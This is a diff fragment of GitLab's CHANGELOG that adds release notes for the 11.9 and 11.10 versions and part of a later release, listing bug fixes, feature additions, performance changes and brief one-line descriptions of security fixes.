+- fix wiki search result links in titles. !27400 (khm)
+- Fix system notes timestamp when creating issue in the past. !27406
+- Fix approvals sometimes being reset after a merge request is rebased. !27446
+- Fix empty block in MR widget when user doesn't have permission. !27462
+- Fix wrong use of ActiveRecord in PoolRepository. !27464
+- Show proper preview for uploaded images in Web IDE. !27471
+- Resolve Renaming an image via Web IDE corrupts it. !27486
+- Clean up CarrierWave's import/export files. !27487
+- Fix autocomplete dropdown for usernames starting with period. !27533 (Jan Beckmann)
+- Disable password autocomplete in mirror repository form. !27542
+- Always use internal ID tables in development and production. !27544
+- Only show the "target branch has advanced" message when the merge request is open. !27588
+- Resolve Misalignment on suggested changes diff table. !27612
+- Update Workhorse to v8.7.0. !27630
+- Fix FE API and IDE handling of '/' relative_url_root. !27635
+- Hide ScopedBadge overflow notes. !27651
+- Fix base domain help text update. !27746
+- Upgrade letter_opener_web to support Rails 5.1. !27829
+- Fix webpack assets handling when relative url root is '/'. !27909
+- Fix IDE get file data with '/' as relative root. !27911
+- Allow a member to have an access level equal to parent group. !27913
+- Fix issuables state_id nil when importing projects from GitHub. !28027
+- Fix uploading of LFS tracked file through UI. !28052
+- Render Next badge only for gitlab.com. !28056
+- Fix update head pipeline process of Pipelines for merge requests. !28057
+- Handle errors in successful notes reply. !28082
+- Fix visual issues in set status modal. !28147
+- Use a path for the related merge requests endpoint. !28171
+- disable SSH key validation in key details view. !28180 (Roger Meier)
+- Fix MR discussion border missing in chrome sometimes. !28185
+- Fix Error 500 when inviting user already present. !28198
+- Remove non-semantic use of `.row` in member listing controls. !28204
+- Properly handle LFS Batch API response in project import. !28223
+- Fix project visibility level validation. !28305 (Peter Marko)
+- Fix incorrect prefix used in new uploads for personal snippets. !28337
+- Fix Rugged get_tree_entries recursive flag not working. !28494
+- Next badge must visible when canary flag is true.
+- Vertically aligns the play button for stages.
+- Fixes next badge being always visible.
+- Adds arrow icons to select option in CI/CD settings.
+- Allow replying to individual notes from API.
+
+### Changed (19 changes, 3 of them are from the community)
+
+- Sort by due date and popularity in both directions for Issues and Merge requests. !25502 (Nermin Vehabovic)
+- Improve pipelines table spacing, add triggerer column. !26136
+- Allow extra arguments in helm commands when deploying the application in Auto-DevOps.gitlab-ci.yml. !26171 (tortuetorche)
+- Switch to sassc-rails for faster stylesheet compilation. !26224
+- Reorganize project merge request settings. !26834
+- Display a toast message when the Kubernetes runner has successfully upgraded. !27206
+- Allow guests users to access project releases. !27247
+- Add help texts to K8 form fields. !27274
+- Support prometheus for group level clusters. !27280
+- Include link to raw job log in plain-text emails. !27409
+- Only escape Markdown emphasis characters in autocomplete when necessary. !27457
+- Move location of charts/auto-deploy-app -> gitlab-org/charts/auto-deploy-app. !27477
+- Make canceled jobs not retryable. !27503
+- Upgrade to Gitaly v1.36.0. !27831
+- Update deployment event chat notification message. !27972
+- Upgrade to Gitaly v1.42.0. !28135
+- Resolve discussion when apply suggestion. !28160
+- Improve expanding diff to full file performance.
+- Knative version bump 0.3 -> 0.5. (Chris Baumbauer <cab@cabnetworks.net>)
+
+### Performance (5 changes)
+
+- Added list_pages method to avoid loading all wiki pages content. !22801
+- Add gitaly session id & catfile-cache feature flag. !27472
+- Add improvements to global search of issues and merge requests. !27817
+- Disable method replacement in avatar loading. !27866
+- Fix Blob.lazy always loading all previously-requested blobs when a new request is made.
+
+### Added (36 changes, 10 of them are from the community)
+
+- Add time preferences for user. !25381
+- Added write_repository scope for personal access token. !26021 (Horatiu Eugen Vlad)
+- Mark disabled pages domains for removal, but don't remove them yet. !26212
+- Remove pages domains if they weren't verified for 1 week. !26227
+- Expose pipeline variables via API. !26501 (Agustin Henze <tin@redhat.com>)
+- Download a folder from repository. !26532 (kiameisomabes)
+- Remove cleaned up OIDs from database and cache. !26555
+- Disables kubernetes resources creation if a cluster is not managed. !26565
+- Add CI_COMMIT_REF_PROTECTED CI variable. !26716 (Jason van den Hurk)
+- Add new API endpoint to expose a single environment. !26887
+- Allow Sentry configuration to be passed on gitlab.yml. !27091 (Roger Meier)
+- CI variables of type file. !27112
+- Allow linking to a private helm repository by providing credentials, and customisation of repository name. !27123 (Stuart Moore @stjm-cc)
+- Add time tracking information to Issue Boards sidebar. !27166
+- Play all manual jobs in a stage. !27188
+- Instance level kubernetes clusters. !27196
+- Adds if InfluxDB and Prometheus metrics are enabled to usage ping data. !27238
+- Autosave description in epics. !27296
+- Add deployment events to chat notification services. !27338
+- Add packages_size to ProjectStatistics. !27373
+- Added OmniAuth OpenID Connect strategy. !27383 (Horatiu Eugen Vlad)
+- Test using Git 2.21. !27418
+- Use official Gitea logo in importer. !27424 (Matti Ranta (@techknowlogick))
+- Add option to set access_level of runners upon registration. !27490 (Zelin L)
+- Add initial GraphQL query for Groups. !27492
+- Enable Sidekiq Reliable Fetcher for background jobs by default. !27530
+- Add backend support for a External Dashboard URL setting. !27550
+- Implement UI for uninstalling Cluster’s managed apps. !27559
+- Resolve Salesforce.com omniauth support. !27834
+- Leave project/group from access granted email. !27892
+- Allow Sentry client-side DSN to be passed on gitlab.yml. !27967
+- GraphQL: improve evaluation of query complexity based on arguments and query limits. !28017
+- Support negative matches.
+- Added Omniauth UltraAuth strategy to GitLab. (Kartikey Tanna)
+- Adds badge for Canary environment and help link.
+- Show category icons in user popover.
+
+### Other (29 changes, 8 of them are from the community)
+
+- Validate refs used in controllers don't have spaces. !24037
+- Migrate correlation and tracing code to LabKit. !25379
+- Update node.js to 10.15.3 in CI template for Hexo. !25943 (Takuya Noguchi)
+- Improve icons and button order in project overview. !26796
+- Add instructions on how to contribute a Built-In template for project. !26976
+- Extract DiscussionNotes component from NoteableDiscussion. !27066
+- Bump gRPC to 1.19.0 and protobuf to 3.7.1. !27086
+- Extract DiscussionActions component from NoteableDiscussion. !27227
+- Show disabled project repo mirrors in settings. !27326
+- Add backtrace to Gitaly performance bar. !27345
+- Moved EE/CE differences for dropdown_value_collapsed into CE. !27367
+- Remove "You are already signed in" banner. !27377
+- Move ee-specific code from boards/components/issue_card_inner.vue. !27394 (Roman Rodionov)
+- Upgrade to Rails 5.1. !27480 (Jasper Maes)
+- Update GitLab Runner Helm Chart to 0.4.0. !27508
+- Update GitLab Runner Helm Chart to 0.4.1. !27627
+- Refactored notes tests from Karma to Jest. !27648 (Martin Hobert)
+- refactor(issue): Refactored issue tests from Karma to Jest. !27673 (Martin Hobert)
+- Refactored Karma spec files to Jest. !27688 (Martin Hobert)
+- Add CSS fix for <wbr> elements on IE11. !27846
+- Update clair-local-scan to v2.0.8 for container scanning. !27977
+- Use PostgreSQL 10.7 in tests. !28020
+- Document EE License Auto Import During Install. !28106
+- Remove the note in the docs that multi-line suggestions are not yet available. !28119 (hardysim)
+- Update gitlab-shell to v9.1.0. !28184
+- Add EE fixtures to SeedFu list. !28241
+- Add some frozen string to spec/**/*.rb. (gfyoung)
+- Replaces CSS with BS4 utility class for pipeline schedules.
+- Creates a vendors folder for external CSS.
+
+### Performance (1 change)
+
+- Add improvements to global search of issues and merge requests. !27817
+
+
+## 11.10.7 (2019-06-26)
+
+### Fixed (3 changes)
+
+- Remove a default git depth in Pipelines for merge requests. !28926
+- Fix label click scrolling to top. !29202
+- Fix scrolling to top on assignee change. !29500
+
+
+## 11.10.8 (2019-06-27)
+
+- No changes.
+### Security (10 changes)
+
+- Fix Denial of Service for comments when rendering issues/MR comments.
+- Gate MR head_pipeline behind read_pipeline ability.
+- Fix DoS vulnerability in color validation regex.
+- Expose merge requests count based on user access.
+- Persist tmp snippet uploads at users.
+- Add missing authorizations in GraphQL.
+- Disable Rails SQL query cache when applying service templates.
+- Prevent Billion Laughs attack.
+- Correctly check permissions when creating snippet notes.
+- Prevent the detection of merge request templates by unauthorized users.
+
+### Performance (1 change)
+
+- Add improvements to global search of issues and merge requests. !27817
+
+
+## 11.10.6 (2019-06-04)
+
+### Fixed (7 changes, 1 of them is from the community)
+
+- Allow a member to have an access level equal to parent group. !27913
+- Fix uploading of LFS tracked file through UI. !28052
+- Use 3-way merge for squashing commits. !28078
+- Use a path for the related merge requests endpoint. !28171
+- Fix project visibility level validation. !28305 (Peter Marko)
+- Fix Rugged get_tree_entries recursive flag not working. !28494
+- Use source ref in pipeline webhook. !28772
+
+### Other (1 change)
+
+- Fix input group height.
+
+## 11.10.4 (2019-05-01)
+
+### Fixed (12 changes)
+
+- Fix MR popover on ToDos page. !27382
+- Fix 500 in general pipeline settings when passing an invalid build timeout. !27416
+- Fix bug where system note MR has no popover. !27589
+- Fix bug when project export to remote url fails. !27614
+- `on_stop` is not automatically triggered with pipelines for merge requests. !27618
+- Update Workhorse to v8.5.2. !27631
+- Show proper wiki links in search results. !27634
+- Make `CI_COMMIT_REF_NAME` and `SLUG` variable idempotent. !27663
+- Fix Kubernetes service template deployment jobs broken as of 11.10.0. !27687
+- Prevent text selection when dragging in issue boards. !27724
+- Fix pipelines for merge requests does not show pipeline page when source branch is removed. !27803
+- Fix Metrics Environments dropdown.
+
+### Performance (2 changes)
+
+- Prevent concurrent execution of PipelineScheduleWorker. !27781
+- Fix slow performance with compiling HAML templates. !27782
+
+
+## 11.10.3 (2019-04-30)
+
+### Security (1 change)
+
+- Allow to see project events only with api scope token.
+
+
+## 11.10.2 (2019-04-25)
+
+### Security (4 changes)
+
+- Loosen regex for exception sanitization. !3076
+- Resolve: moving an issue to private repo leaks namespace and project name.
+- Escape path in new merge request mail.
+- Stop sending emails to users who can't read commit.
+
+
+## 11.10.1 (2019-04-23)
+
+### Fixed (2 changes)
+
+- Upgrade Gitaly to 1.34.0. !27494
+- Fix filtering of labels from system note link. !27507
+
+### Changed (1 change)
+
+- Disable just-in-time Kubernetes resource creation for project level clusters. !27352
+
+### Performance (1 change)
+
+- Bring back Rugged implementation of ListCommitsByOid. !27441
+
+### Other (1 change)
+
+- Bump required Ruby version check to 2.5.3. !27495
+
+
+## 11.10.0 (2019-04-22)
+
+### Security (9 changes)
+
+- Update Rails to 5.0.7.2. !27022
+- Disallow guest users from accessing Releases.
+- Return cached languages if they've been detected before.
+- Added rake task for removing EXIF data from existing uploads.
+- Disallow updating namespace when updating a project.
+- Fix XSS in resolve conflicts form.
+- Hide "related branches" when user does not have permission.
+- Fix PDF.js vulnerability.
+- Use UntrustedRegexp for matching refs policy.
+
+### Fixed (81 changes, 21 of them are from the community)
+
+- Update `border-radius` of form controls and remove extra space above page titles. !24497
+- Disallow reopening of a locked merge request. !24882 (Jan Beckmann)
+- Align EmailValidator to validate_email gem implementation. !24971 (Horatiu Eugen Vlad)
+- add a uniq constraints on issues and mrs labels. !25435 (Antoine Huret)
+- Display draft when toggling replies. !25563
+- Fix markdown table header and table content borders. !25666
+- Fix authorized application count. !25715 (moyuru)
+- Added "Add List" checkbox to create label dropdown to make creation of list optional. !25716 (Tucker Chapman)
+- Makes emoji picker full width on mobile. !25883 (Jacopo Beschi @jacopo-beschi)
+- Don't cutoff letters in MR and Issue links. !25910 (gfyoung)
+- Fix unwanted character replacement on project members page caused by usage of sanitize function. !25946 (Elias Werberich)
+- Fix UI for closed MR when source project is removed. !25967 (Takuya Noguchi)
+- Keep inline as much as possible in system notes on issuable. !25968 (Takuya Noguchi)
+- Fixes long review app subdomains. !25990 (walkafwalka)
+- Fix counting of groups in admin dashboard. !26009
+- Disable inaccessible navigation links upon archiving a project. !26020 (Elias Werberich)
+- Fixed - Create project label window is cut off at the bottom. !26049
+- Fix error shown when loading links to specific comments. !26092
+- Fix group transfer selection possibilities. !26123 (Peter Marko)
+- Fix UI layout on Commits on mobile. !26133 (Takuya Noguchi)
+- Fix continuous bitbucket import loading spinner. !26175
+- Resolves Branch name is lost if I change commit mode in Web IDE. !26180
+- Fix removing remote mirror failure which leaves unnecessary refs behind. !26213
+- Fix Error 500 when user commits Wiki page with no commit message. !26247
+- Handle missing keys in sentry api response. !26264
+- Implemented whitespace-trimming for file names in Web IDE. !26270
+- Fix misalignment of group overview page buttons. !26292
+- Reject HEAD requests to info/refs endpoint. !26334
+- Prevent namespace dropdown in new project form from exceeding container. !26343
+- Fix hover animation consistency in top navbar items. !26345
+- Exclude system notes from commits in merge request discussions. !26396
+- Resolve Code in other column of side-by-side diff is highlighted when selecting code on one side. !26423
+- Prevent fade out transition on loading-button component. !26428
+- Fix merge commits being used as default squash commit messages. !26445
+- Expand resolved discussion when linking to a comment in the discussion. !26483
+- Show statistics also when repository is disabled. !26509 (Peter Marko)
+- Fix multiple series queries on metrics dashboard. !26514
+- Releases will now be automatically deleted when deleting corresponding tag. !26530
+- Make stylistic improvements to diff nav header. !26557
+- Clear pipeline status cache after destruction of pipeline. !26575
+- Update fugit which fixes a potential infinite loop. !26579
+- Fixes job link in artifacts page breadcrumb. !26592
+- Fix quick actions add label name middle word overlaps. !26602 (Jacopo Beschi @jacopo-beschi)
+- Fix Auto DevOps missing domain error handling. !26627
+- Fix jupyter rendering bug that ended in an infinite loop. !26656 (ROSPARS Benoit)
+- Use a fixed git abbrev parameter when we fetch a git revision. !26707
+- Enabled text selection highlighting in diffs in Web IDE. !26721 (Isaac Smith)
+- Remove `path` and `branch` labels from metrics. !26744
+- Resolve "Hide Kubernetes cluster warning if project has cluster related". !26749
+- Fix long label overflow on metrics dashboard. !26775
+- Group transfer now properly redirects to edit on failure. !26837
+- Only execute system hooks once when pushing tags. !26888
+- Fix UI anchor links after docs refactor. !26890
+- Fix MWPS does not work for merge request pipelines. !26906
+- Create pipelines for merge requests only when source branch is updated. !26921
+- Fix notfication emails having wrong encoding. !26931
+- Allow task lists that follow a blockquote to work correctly. !26937
+- Fix image diff swipe view on commit and compare pages. !26968 (ftab)
+- Fix IDE detection of MR from fork with same branch name. !26986
+- Fix single string values for the 'include' keyword validation of gitlab-ci.yml. !26998 (Paul Bonaud (@paulrbr))
+- Do not display Ingress IP help text when there isn’t an Ingress IP assigned. !27057
+- Fix real-time updates for projects that contain a reserved word. !27060
+- Remove duplicates from issue related merge requests. !27067
+- Add to white-space nowrap to all buttons. !27069
+- Handle possible HTTP exception for Sentry client. !27080
+- Guard against nil dereferenced_target. !27192
+- Update GitLab Workhorse to v8.5.1. !27217
+- Fix long file header names bug in diffs. !27233
+- Always return the deployment in the UpdateDeploymentService#execute method. !27322
+- Fix remove_source_branch merge request API handling. !27392
+- Fixed bug with hashes in urls in WebIDE. !54376 (Kieran Andrews)
+- Fix bug where MR popover doesn't go away on mouse leave.
+- Only consider active milestones when using the special Started milestone filter.
+- Scroll to diff file content when clicking on file header name and it is not a link to other page.
+- Remove non-functional add issue button on welcome list.
+- Fixed expand full file button showing on images.
+- Fixed Web IDE web workers not working with relative URLs.
+- Fixed Web IDE not loading merge request files.
+- Fixed duplicated diff too large error message.
+- Fixed sticky headers in merge request creation diffs.
+- Fix bug when reopening milestone from index page.
+
+### Deprecated (1 change)
+
+- Allow to use untrusted Regexp via feature flag. !26905
+
+### Changed (35 changes, 4 of them are from the community)
+
+- Create MR pipelines with `refs/merge-requests/:iid/head`. !25504
+- Create Kubernetes resources for projects when their deployment jobs run. !25586
+- Remove unnecessary folder prefix from environment name. !25600
+- Update deploy boards to additionally select on "app.gitlab.com" annotations. !25623
+- Allow failed custom hook script errors to safely appear in GitLab UI by filtering error messages by the prefix GL-HOOK-ERR:. !25625
+- Add link on two-factor authorization settings page to leave group that enforces two-factor authorization. !25731
+- Reduce height of instance system header and footer. !25752
+- Unify behaviour of 'Copy commit SHA to clipboard' to use full commit SHA. !25829 (Max Winterstein)
+- Show loading spinner while Ingress/Knative IP is being assigned. !25912
+- Hashed Storage: Prevent a migration and rollback running at the same time. !25976
+- Make time counters show 'just now' for everything under one minute. !25992 (Sergiu Marton)
+- Allow filtering labels list by one or two characters. !26012
+- Implements the creation strategy for multi-line suggestions. !26057
+- Automate base domain help text on Clusters page. !26124
+- Set user.name limit to 128 characters. !26146
+- Update gitlab-markup to 1.7.0 which requies python3. !26246
+- Update system message banner font size to 12px. !26293
+- Extend timezone dropdown. !26311
+- Upgrade to Gitaly v1.29.0. !26406
+- Automatically set Prometheus step interval. !26441
+- Knative version bump 0.2.2 -> 0.3.0. !26459 (Chris Baumbauer)
+- Display cluster form validation error messages inline. !26502
+- Split Auto-DevOps.gitlab-ci.yml into reusable templates. !26520
+- Update spinners in group list component. !26572
+- Allow removing last owner from subgroup if parent group has owners. !26718
+- Check mergeability in MergeToRefService. !26757
+- Show download diff links for closed MRs. !26772
+- Fix Container Scanning in Kubernetes Runners. !26793
+- Move "Authorize project access with external service" to Core. !26823
+- Localize notifications dropdown. !26844
+- Order labels alphabetically in issue boards. !26927
+- Upgrade to Gitaly v1.32.0. !26989
+- Upgrade to Gitaly v1.33.0. !27065
+- collapse file tree by default if the merge request changes only one file. (Riccardo Padovani <riccardo@rpadovani.com>)
+- Removes the undescriptive CI Charts header.
+
+### Performance (17 changes)
+
+- Drop legacy artifacts usage as there are no leftovers. !24294
+- Cache Repository#root_ref within a request. !25903
+- Allow ref name caching CommitService#find_commit. !26248
+- Avoid loading pipeline status in project search. !26342
+- Fix some N+1s in loading routes and counting members for groups in @-autocomplete. !26491
+- GitHub import: Run housekeeping after initial import. !26600
+- Add initial complexity limits to GraphQL queries. !26629
+- Cache FindCommit results in pipelines view. !26776
+- Fix and expand Gitaly FindCommit caching. !27018
+- Enable FindCommit caching for project and commits pages. !27048
+- Expand FindCommit caching to blob and refs. !27084
+- Enable Gitaly FindCommit caching for TreeController. !27100
+- Improve performance of PR import. !27121
+- Process at most 4 pipelines during push. !27205
+- Disable method instrumentation for diffs. !27235
+- Speed up filtering issues in a project when searching.
+- Speed up generation of avatar URLs when using object storage.
+
+### Added (35 changes, 6 of them are from the community)
+
+- Add users search results to global search. !21197 (Alexis Reigel)
+- Add target branch filter to merge requests search bar. !24380 (Hiroyuki Sato)
+- Add Knative metrics to Prometheus. !24663 (Chris Baumbauer <cab@cabnetworks.net>)
+- Support multi-line suggestions. !25211
+- Allow to sort wiki pages by date and title. !25365
+- Allow external diffs to be used conditionally. !25432
+- Add usage counts for error tracking feature. !25472
+- Enable/disable Auto DevOps at the Group level. !25533
+- Update pipeline list view to accommodate post-merge pipeline information. !25690
+- GraphQL Types can be made to always authorize access to resources of that Type. !25724
+- Update clair-local-scan to 2.0.6. !25743 (Takuya Noguchi)
+- Update pipeline block on merge request page to accommodate post-merge pipeline information. !25745
+- Support multiple queries per chart on metrics dash. !25758
+- Update pipeline detail view to accommodate post-merge pipelines. !25775
+- Update job detail sidebar to accommodate post-merge pipeline information. !25777
+- Add merge request pipeline flag to pipeline entity. !25846
+- Expose group id on home panel. !25897 (Peter Marko)
+- Move allow developers to create projects in groups to Core. !25975
+- Add two new warning messages to the MR widget about merge request pipelines. !25983
+- Support installing Group runner on group-level cluster. !26260
+- Improve the Knative installation on Clusters. !26339
+- Show error when namespace/svc account missing. !26362
+- Add select by title to milestones API. !26573
+- Implemented support for creation of new files from URL in Web IDE. !26622
+- Add control for masking variable values in runner logs. !26751
+- Allow merge requests to be created via git push options. !26752
+- Create a shortcut for a new MR in the Web IDE. !26792
+- Allow reactive caching to be used in services. !26839
+- Add a Prometheus API per environment. !26841
+- Allow merge requests to be set to merge when pipeline succeeds via git push options. !26842
+- Use gitlabktl to build and deploy GitLab Serverless Functions. !26926
+- Make touch events work on image diff swipe view and onion skin. !26971 (ftab)
+- Add extended merge request tooltip.
+- Added prometheus monitoring to GraphQL.
+- Adding highest role property to admin's user details page.
+
+### Other (29 changes, 6 of them are from the community)
+
+- Update rack-oauth2 1.2.1 -> 1.9.3. !17868
+- Merge the gitlab-shell "gitlab-keys" functionality into GitLab CE. !25598
+- Refactor all_pipelines in Merge request. !25676
+- Show error backtrace when logging errors to kubernetes.log. !25726
+- Apply recaptcha API change in 4.0. !25921 (Praveen Arimbrathodiyil)
+- Remove fake repository_path response. !25942 (Fabio Papa)
+- Use curl silent/show-error options on Auto DevOps. !25954 (Takuya Noguchi)
+- Explicitly set master_auth setting to enable basic auth and client certificate for new GKE clusters. !26018
+- Project: Improve empty repository state UI. !26024
+- Externalize strings from `/app/views/projects/pipelines`. !26035 (George Tsiolis)
+- Prepare multi-line suggestions for rendering in Markdown. !26107
+- Improve mobile UI on User Profile page. !26240 (Takuya Noguchi)
+- Update GitLab Runner Helm Chart to 0.3.0/11.9.0. !26467
+- Improve project merge request settings. !26495
+- Bump kubectl to 1.11.9 and Helm to 2.13.1 in Auto-DevOps.gitlab-ci.yml. !26534
+- Upgrade bootstrap_form Gem. !26568
+- Add API access check to Graphql. !26570
+- Change project avatar remove button to a link. !26589
+- Log Gitaly RPC duration to api_json.log and production_json.log. !26652
+- Add cluster domain to Project Cluster API. !26735
+- Move project tags to separate line. !26797
+- Changed button label at /pipelines/new. !26893 (antfobe,leonardofl)
+- Update GitLab Shell to v9.0.0. !27002
+- Migrate clusters tests to jest. !27013
+- Rewrite related MRs widget with Vue. !27027
+- Restore HipChat project service. !27172
+- Externalize admin deploy keys strings.
+- Removes EE differences for environments_table.vue.
+- Removes EE differences for environment_item.vue.
+
+
+## 11.9.12 (2019-05-30)
+
+### Security (12 changes, 1 of them is from the community)
+
+- Protect Gitlab::HTTP against DNS rebinding attack.
+- Fix project visibility level validation. (Peter Marko)
+- Update Knative version.
+- Add DNS rebinding protection settings.
+- Prevent XSS injection in note imports.
+- Prevent invalid branch for merge request.
+- Filter relative links in wiki for XSS.
+- Fix confidential issue label disclosure on milestone view.
+- Fix url redaction for issue links.
+- Resolve: Milestones leaked via search API.
+- Prevent bypass of restriction disabling web password sign in.
+- Hide confidential issue title on unsubscribe for anonymous users.
+
+
+## 11.9.10 (2019-04-26)
+
+### Security (5 changes)
+
+- Loosen regex for exception sanitization. !3077
+- Resolve: moving an issue to private repo leaks namespace and project name.
+- Escape path in new merge request mail.
+- Stop sending emails to users who can't read commit.
+- Upgrade Rails to 5.0.7.2.
+
+
+## 11.9.9 (2019-04-23)
+
+### Performance (1 change)
+
+- Bring back Rugged implementation of ListCommitsByOid. !27441
+
+
+## 11.9.8 (2019-04-11)
+
+### Deprecated (1 change)
+
+- Allow to use untrusted Regexp via feature flag. !26905
+
+### Performance (2 changes)
+
+- Improve performance of PR import. !27121
+- Disable method instrumentation for diffs. !27235
+
+### Other (1 change)
+
+- Restore HipChat project service. !27172
+
+
+## 11.9.7 (2019-04-09)
+
+- No changes.
+
+## 11.9.6 (2019-04-04)
+
+### Fixed (3 changes)
+
+- Force to recreate all MR diffs on import. !26480
+- Fix API /project/:id/branches not returning correct merge status. !26785
+- Avoid excessive recursive calls with Rugged TreeEntries. !26813
+
+### Performance (1 change)
+
+- Force a full GC after importing a project. !26803
+
+
+## 11.9.5 (2019-04-03)
+
+### Fixed (3 changes)
+
+- Force to recreate all MR diffs on import. !26480
+- Fix API /project/:id/branches not returning correct merge status. !26785
+- Avoid excessive recursive calls with Rugged TreeEntries. !26813
+
+### Performance (1 change)
+
+- Force a full GC after importing a project. !26803
+
+
+## 11.9.3 (2019-03-27)
+
+- No changes.
+
+## 11.9.2 (2019-03-26)
+
+- No changes.
+
+## 11.9.1 (2019-03-25)
+
+### Fixed (7 changes)
+
+- Fix issue that caused the "Show all activity" button to appear on top of the mini pipeline status dropdown on the merge request page. !26274
+- Fix duplicated bottom match line on merge request parallel diff view. !26402
+- Allow users who can push to protected branches to create protected branches via CLI. !26413
+- Add missing .gitlab-ci.yml to Android template. !26415
+- Refresh commit count after repository head changes. !26473
+- Set proper default-branch for repository on GitHub Import. !26476
+- GitHub importer: Use the project creator to create branches from forks. !26510
+
+### Changed (1 change)
+
+- Upgrade to Gitaly v1.27.1. !26533
+
+
+## 11.9.0 (2019-03-22)
+
+### Security (24 changes)
+
+- Use encrypted runner tokens. !25532
+- Stop linking to unrecognized package sources. !55518
+- Disable issue boards API when issues are disabled.
+- Forbid creating discussions for users with restricted access.
+- Fix leaking private repository information in API.
+- Fixed ability to see private groups by users not belonging to given group.
+- Prevent releases links API to leak tag existence.
+- Display the correct number of MRs a user has access to.
+- Block local URLs for Kubernetes integration.
+- Fix arbitrary file read via diffs during import.
+- Check if desired milestone for an issue is available.
+- Don't allow non-members to see private related MRs.
+- Check snippet attached file to be moved is within designated directory.
+- Fix blind SSRF in Prometheus integration by checking URL before querying.
+- Fix git clone revealing private repo's presence.
+- Remove project serialization in quick actions response.
+- Don't show new issue link after move when a user does not have permissions.
+- Limit mermaid rendering to 5K characters.
+- Show only merge requests visible to user on milestone detail page.
+- Display only information visible to current user on the Milestone page.
+- Do not display impersonated sessions under active sessions and remove ability to revoke session.
+- Validate session key when authorizing with GCP to create a cluster.
+- Do not disclose milestone titles for unauthorized users.
+- Remove the possibility to share a project with a group that a user is not a member of.
+
+### Removed (1 change)
+
+- Remove HipChat integration from GitLab. !22223
+
+### Fixed (86 changes, 21 of them are from the community)
+
+- Fixes issue with AWS V4 signatures not working with some S3 providers. !21788
+- Validate 'include' keywords in gitlab-ci.yml configuration files. !24098 (Paul Bonaud)
+- Close More Actions tooltip when menu opens. !24285
+- API: Support Jira transition ID as string. !24400 (Robert Schilling)
+- Fixed navigation sidebar flashing open on page load. !24555
+- Fix username escaping when using assign to me for issues. !24673
+- commit page info-well overflow fix #56436. !24799 (Gokhan Apaydin)
+- Fix error tracking list page. !24806
+- Fix overlapping empty-header logo. !24868 (Jonas L.)
+- Resolve Jobs tab border top in pipeline's page is 1px off. !24878
+- Require maintainer access to show pages domain settings. !24926
+- Display error message when API call to list Sentry issues fails. !24936
+- Fix rollout status for statefulsets and daemonsets. !24972 (Sergej Nikolaev <kinolaev@gmail.com>)
+- Display job names consistently on pipelines and environments list. !24984
+- Update new password breadcrumb. !25037 (George Tsiolis)
+- Fixes functions finder for upgraded Knative app. !25067
+- Provide expires_in in LFS authentication payload. !25082
+- Fix validation of certain ed25519 keys. !25115 (Merlijn B. W. Wajer)
+- Timer and action name aligned vertically for delayed jobs in pipeline actions. !25117 (Gokhan Apaydin)
+- Fix the border style of CONTRIBUTING button when it exists. !25124 (Takuya Noguchi)
+- Change badges.svg example to pipeline.svg. !25157 (Aviad Levy)
+- API: Fix docs and parameters for hangouts-chat service. !25180 (Robert Schilling)
+- API: Expose full commit title. !25189 (Robert Schilling)
+- API: Require only one parameter when updating a wiki. !25191 (Robert Schilling)
+- Hide pipeline status when pipelines are disabled on project. !25204
+- Fix alignment of dropdown icon on issuable on mobile. !25205 (Takuya Noguchi)
+- Add left margin to 1st time contributor badge. !25216 (Gokhan Apaydin)
+- Use limited counter for runner build count in admin page. !25220
+- API: Ensure that related merge requests are referenced cross-project. !25222 (Robert Schilling)
+- Ensure the base pipeline of a Merge Request belongs to its target branch. !25226
+- Fix import_jid error on project import. !25239
+- Fix commenting on commits having SHA1 starting with a large number. !25278
+- Allow empty values such as [] to be stored in reactive cache. !25283
+- Remove vertical connecting line placeholder from diff discussion notes. !25292
+- Fix hover and active state colors of award emoji button. !25295
+- Fix author layouts in issuable meta line UIs on mobile. !25332 (Takuya Noguchi)
+- Fix bug where project topics truncate. !25398
+- Fix ETag caching not being used for AJAX requests. !25400
+- Doc - fix the url of pipeline status badge. !25404 (Aviad Levy)
+- Fix pipeline status icon mismatch. !25407
+- Allow users to compare branches on a read-only instance. !25414
+- Fix 404s when C++ .gitignore template selected. !25416
+- Always fetch MR latest version when creating suggestions. !25441
+- Only show borders for markdown images in notes. !25448
+- Bring back Rugged implementation of find_commit. !25477
+- Remove duplicate units from metrics graph. !25485
+- Fix project import error importing releases. !25495
+- Remove duplicate XHR request when requesting new pipeline page. !25506
+- Properly handle multiple X-Forwarded-For addresses in runner IP. !25511
+- Fix weekday shift in issue board cards for UTC+X timezones by removing local timezone to UTC conversion. !25512 (Elias Werberich)
+- Fix large table horizontal scroll and prevent side-by-side tables. !25520 (Dany Jupille)
+- Fix error when viewing group issue boards when user doesn't have explicit group permissions. !25524
+- Respect the should_remove_source_branch parameter to the merge API. !25525
+- Externalize markdown toolbar buttons tooltips. !25529
+- Fix method to mark a project repository as writable. !25546
+- fix group without owner after transfer. !25573 (Peter Marko)
+- Fix pagination and duplicate requests in environments page. !25582
+- Improve the JS pagination to handle the case when the `X-Total` and `X-Total-Pages` headers aren't present. !25601
+- Add right padding to the repository mirror action buttons. !25606
+- Use 'folder-open' from sprite icons for Browse Files button in Tag page. !25635
+- Make merge to refs/merge-requests/:iid/merge not raise when FF-only enabled. !25653
+- Fixed "Copying comment with ordered list includes extraneous newlines". !25695
+- Fix bridge jobs only/except variables policy. !25710
+- Allow GraphQL requests without CSRF token. !25719
+- Skip Project validation during Hashed Storage migration or rollback. !25753
+- Resolve showing squash commit edit issue when only single commit is present. !25807
+- Fix the last-ditch memory killer pgroup SIGKILL. !25940
+- Disable timeout on merge request merging poll. !25988
+- Allow modifying squash commit message for fast-forward only merge method. !26017
+- Fix bug in BitBucket imports with SHA shorter than 40 chars. !26050
+- Fix health checks not working behind load balancers. !26055
+- Fix 500 error caused by CODEOWNERS with no matches. !26072
+- Fix notes being marked as edited after resolving. !26143
+- Fix error creating a merge request when diff includes a null byte. !26190
+- Fix undefined variable error on json project views. !26297
+- GitHub import: Create new branches as project owner. !26335
+- Gracefully handles excluded fields from attributes during serialization on JsonCache. !26368
+- Admin section finds users case-insensitively.
+- Fixes not working dropdowns in pipelines page.
+- Do not show file templates when creating a new directory in WebIDE.
+- Allow project members to see private group if the project is in the group namespace.
+- Allow maintainers to remove pages.
+- Fix inconsistent pagination styles.
+- Fixed blob editor deleting file content for certain file paths.
+- Fix upcoming milestone when there are milestones with far-future due dates.
+- Fixed alignment of changed icon in Web IDE.
+
+### Changed (31 changes, 10 of them are from the community)
+
+- Improve snippets empty state. !18348 (George Tsiolis)
+- Remove second primary button on wiki edit. !19959 (George Tsiolis)
